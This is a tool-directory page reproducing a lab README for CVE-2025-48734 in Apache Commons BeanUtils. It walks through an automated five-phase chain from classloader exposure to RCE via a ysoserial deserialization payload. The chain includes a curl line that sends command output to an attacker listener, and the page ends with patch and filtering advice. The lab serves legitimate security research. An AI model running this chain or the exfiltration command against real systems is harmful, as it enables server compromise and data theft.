Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-48734 — CVE-2025-48734 - Affects Apache Commons BeanUtils in versions prior to 1.11.0 (and the 2.x branch before 2.0.0-M2). | Kitploit
Tools/GitHubGitHub/h3raklez/cve-2025-48734
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubh3raklez/cve-2025-48734

CVE-2025-48734

CVE-2025-48734 - Affects Apache Commons BeanUtils in versions prior to 1.11.0 (and the 2.x branch before 2.0.0-M2).

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-48734: Apache Commons BeanUtils – enum declaringClass Information Leak & RCE Chain

For educational and authorized security research purposes only.

This repository provides a controlled lab environment to reproduce the CVE-2025-48734 vulnerability in Apache Commons BeanUtils and explore how an attacker could escalate to remote code execution (RCE) under certain conditions.


📖 Vulnerability Description

CVE-2025-48734 affects Apache Commons BeanUtils in versions prior to 1.11.0 (and the 2.x branch before 2.0.0-M2). The issue lies in PropertyUtilsBean allowing access to the declaringClass property of Java enums through nested paths (e.g., enum.declaringClass). All enums inherit the getDeclaringClass() method from java.lang.Enum, which BeanUtils exposes as a navigable property.

An attacker who can control the property path in calls to getProperty() or getNestedProperty() can:

  • Obtain a reference to the application's ClassLoader (via enum.declaringClass.classLoader).
  • Enumerate all JARs loaded at runtime by iterating classLoader.URLs[n].
  • Escalate to RCE if the application has an unsafe deserialization endpoint and a vulnerable gadget library in its classpath.

⚠️ Important: The vulnerability alone does not directly grant RCE. It provides access to the ClassLoader and enables classpath enumeration, which must be chained with an unsafe deserialization endpoint and a vulnerable gadget library to achieve code execution. See the Detailed Exploit Analysis section.

CVSS Score: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H


🧪 Lab Environment

Infrastructure

The lab consists of two components:

  • Debian VM — runs the vulnerable Spring Boot application.
  • Kali VM — runs the attack tooling.

Vulnerable Application (Debian)

A Spring Boot service exposing the following endpoints:

  • GET /api/property?path=<property-path> — reads a nested property using PropertyUtilsBean.getNestedProperty() without sanitization. This is the CVE entry point.
  • GET /api/nested-set?path=<path>&value=<value> — writes nested properties (also vulnerable).
  • POST /api/data/import — accepts raw Java serialized objects (application/octet-stream) and deserializes them without validation. This is the RCE delivery vector.

The target bean is an Order object containing a Status enum. This allows building the chain status.declaringClass.classLoader.

Note: The /api/data/import endpoint is not part of CVE-2025-48734. It is included to simulate a realistic scenario where a vulnerable deserialization endpoint coexists with the CVE. In a real application this type of endpoint appears in legacy integrations, internal APIs, or misconfigured middleware.

Vulnerable Dependencies

LibraryVersionRole in the chain
commons-beanutils1.9.4CVE-2025-48734 entry point
commons-collections3.2.2Deserialization gadget chain

⚙️ Quick Setup

Debian VM

root@kitploit:~
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh

The script installs dependencies, compiles the project, registers it as a systemd service, and starts it automatically. The application listens on 0.0.0.0:8080.

Kali VM

root@kitploit:~
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080

The script installs dependencies and downloads ysoserial.


💀 Full Attack Chain

The exploit is fully automated in a single script that enforces the correct phase order. Each phase is a prerequisite for the next.

root@kitploit:~
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'

Phase 1 — CVE-2025-48734 Reconnaissance

The script probes status.declaringClass and status.declaringClass.classLoader. If either is blocked, the script aborts — the application is patched and the chain cannot proceed.

root@kitploit:~
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"

GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"

Phase 2 — Classpath Enumeration via CVE

Using the ClassLoader reference obtained in Phase 1, the script iterates classLoader.URLs[n] to list all loaded JARs and looks for Commons Collections 3.x. If not found, the script aborts — no gadget chain is available.

root@kitploit:~
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/

GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/

Phase 3 — Deserialization Endpoint Discovery

With a gadget chain confirmed, the script fuzzes common import/sync endpoints sending the Java serialization magic bytes (0xACED0005) and identifies endpoints attempting ObjectInputStream.readObject() by their response pattern. If no endpoint is found, the script aborts.

root@kitploit:~
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found

Phase 4 — Payload Generation and Delivery

ysoserial generates a CommonsCollections6 payload (most portable for Java 11+) and sends it to the discovered endpoint.

root@kitploit:~
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>

→ {"status": "success", "class": "java.util.HashSet"}

Phase 5 — RCE Confirmed

The command executes on the server during deserialization, before the response is returned. Output can be exfiltrated by redirecting to a file or via HTTP callback:

root@kitploit:~
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)

# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'

🔍 Why is CVE-2025-48734 a prerequisite for RCE?

The CVE is not a direct RCE vector — it is the reconnaissance pivot that makes the rest of the chain possible:

root@kitploit:~
Without CVE-2025-48734:
  → No ClassLoader access
  → No classpath enumeration
  → No way to confirm Commons Collections 3.x is present
  → No reason to look for a deserialization endpoint
  → Chain broken at the start

With CVE-2025-48734:
  → ClassLoader exposed
  → Full classpath visible via URLs[n]
  → Commons Collections 3.x confirmed
  → Deserialization endpoint discovered via fuzzing
  → RCE achieved

The three conditions that must align for full RCE:

ConditionThis labReal world
BeanUtils < 1.11.0 with unfiltered path input✅Common in legacy apps
Gadget library in classpath (CC 3.x)✅Frequent in enterprise Java
Unsafe deserialization endpoint

🛡️ Mitigation and Patch

Fix CVE-2025-48734

Upgrade Commons BeanUtils:

ArtifactVulnerableSafe
commons-beanutils:commons-beanutils< 1.11.0>= 1.11.0
org.apache.commons:commons-beanutils2< 2.0.0-M2>= 2.0.0-M2

In pom.xml:

root@kitploit:~
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.11.0</version>
</dependency>

Fix Unsafe Deserialization

Two complementary mitigations:

  1. Upgrade Commons Collections to 4.x — removes the gadget chain.
  2. Add an ObjectInputFilter — restricts which classes can be deserialized:
root@kitploit:~
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
    "java.lang.Integer;java.lang.String;!*"
));

Verifying the Patch

After upgrading BeanUtils to 1.11.0, recompile and restart the service. Run the exploit script — it should abort at Phase 1:

root@kitploit:~
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.

📚 References

  • CVE-2025-48734 on NVD
  • GitHub Advisory GHSA-wxr5-93ph-8wr9
  • Apache Commons BeanUtils Security Reports
  • ysoserial

Disclaimer

This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.

Download Tool
✅
Less common, but present in legacy/middleware integrations